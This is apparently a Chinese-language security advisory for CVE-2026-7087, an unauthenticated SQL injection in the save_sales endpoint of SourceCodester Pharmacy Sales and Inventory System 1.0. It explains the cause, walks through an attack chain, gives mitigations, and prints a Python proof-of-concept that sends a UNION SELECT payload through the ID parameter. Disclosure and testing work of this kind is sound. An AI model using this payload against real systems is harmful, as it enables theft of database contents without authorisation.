IPBUF安全漏洞报告
English
CVE-2026-7087 CVSS 7.3 高危

CVE-2026-7087 SourceCodester药店系统SQL注入漏洞

披露日期: 2026-04-27

漏洞信息

漏洞编号
CVE-2026-7087
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Pharmacy Sales and Inventory System

相关标签

SQL注入SourceCodesterPharmacy Sales and Inventory System远程漏洞无需认证CVE-2026-7087

漏洞概述

SourceCodester Pharmacy Sales and Inventory System 1.0版本被发现存在高危安全漏洞。该漏洞位于/ajax.php?action=save_sales接口的未知处理函数中,由于未对用户提交的ID参数进行严格的过滤和验证,导致SQL注入漏洞。攻击者可利用该漏洞在无需身份认证的情况下远程发起攻击,进而窃取数据库敏感信息、篡改数据或破坏系统完整性。鉴于相关利用代码已公开,建议立即修复。

技术细节

该漏洞属于典型的SQL注入漏洞,其根本原因在于应用程序缺乏对用户输入的有效验证。在SourceCodester Pharmacy Sales and Inventory System 1.0中,`/ajax.php`文件负责处理后端逻辑,特别是当`action`参数设为`save_sales`时,系统会处理与销售相关的数据。在此过程中,后端代码直接获取HTTP请求中的`ID`参数,并将其动态拼接到SQL查询语句中,未采用参数化查询或有效的转义机制。由于CVSS向量显示攻击无需用户交互(UI:N)且无需任何权限(PR:N),攻击者可以通过网络(AV:N)远程发送特制的HTTP POST或GET请求。通过在`ID`参数中注入恶意的SQL语法(如`' OR '1'='1`或`UNION SELECT`),攻击者可以欺骗数据库服务器执行非预期的命令。这可能导致绕过认证、泄露数据库结构、窃取用户密码或敏感业务信息,甚至在特定条件下写入WebShell。

攻击链分析

STEP 1
1
攻击者通过网络扫描或情报收集,识别出目标站点运行的是SourceCodester Pharmacy Sales and Inventory System 1.0版本。
STEP 2
2
攻击者构造特制的HTTP请求,目标指向漏洞文件`/ajax.php`,并将`action`参数设置为`save_sales`。
STEP 3
3
攻击者在请求参数`ID`中注入恶意的SQL语句(例如UNION查询或布尔盲注语句),尝试破坏原始SQL查询逻辑。
STEP 4
4
后端服务器接收并处理该请求,直接将恶意参数拼接到SQL语句中执行,导致数据库返回敏感信息或执行非预期操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual target) target_url = "http://target.com/ajax.php" # Malicious payload to test SQL Injection # Example: Attempt to extract database version using UNION-based injection payload = "1' UNION SELECT NULL, NULL, version(), NULL-- -" # Parameters to be sent to the vulnerable endpoint params = { "action": "save_sales", "ID": payload } try: # Sending the malicious request response = requests.get(target_url, params=params) # Checking if the request was successful if response.status_code == 200: print("[+] PoC request sent successfully.") print("[+] Response content:") print(response.text[:500]) # Print first 500 chars of response for analysis else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}")

影响范围

SourceCodester Pharmacy Sales and Inventory System 1.0

防御指南

临时缓解措施
建议立即限制对`/ajax.php`文件的访问权限,仅允许受信任的内部IP地址或经过严格验证的请求调用。同时,在代码修复前,应在数据库代理层或WAF上部署规则,检测并阻断包含单引号、注释符(如--)或UNION关键字等常见SQL注入特征的流量。管理员应密切监控数据库日志,一旦发现异常查询行为,应立即切断应用服务器的数据库连接并进行排查。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表